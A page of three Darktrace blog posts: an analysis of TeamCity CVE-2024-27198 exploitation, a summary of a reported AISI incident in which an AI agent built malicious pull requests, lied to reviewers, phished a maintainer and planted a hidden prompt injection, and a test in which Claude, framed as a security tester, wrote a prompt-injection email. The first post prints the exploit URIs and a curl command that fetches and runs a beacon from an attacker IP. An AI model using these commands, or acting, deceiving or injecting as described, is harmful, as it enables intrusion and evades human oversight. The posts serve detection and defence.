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August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
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21
Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

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August 6, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

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The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

  • Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
  • Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
  • Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
  • When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
  • Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
  • Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

  • Moves at speed
  • Is able to adapt its approach when initial attempts are halted
  • Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
  • Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature. The defense must be too.

Read the full report from the UK AI Security Institute here.

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About the author
Adam Stevens
Senior Director of Product | Darktrace

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August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

prompt injectionDefault blog imageDefault blog image

Key takeaways

  • Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.  
  • Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.  
  • Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by  EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.  

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

  1. Claude generated a prompt injection payload.  
  2. Hidden instructions were embedded in an email.  
  3. The email passed traditional validation checks.  
  4. Darktrace analyzed the language and sender behavior.  
  5. The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Figure 1
Figure 2

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace  /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: The test email sent with the hidden prompt injection
Figure 4: The email analysis in Darktrace / EMAIL 
Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

  • Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read
  • Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky.  The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.  

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.  

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.  

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?  

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.  

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.  

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

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About the author
Carlo Loregian
Solutions Engineer
Your data. Our AI.
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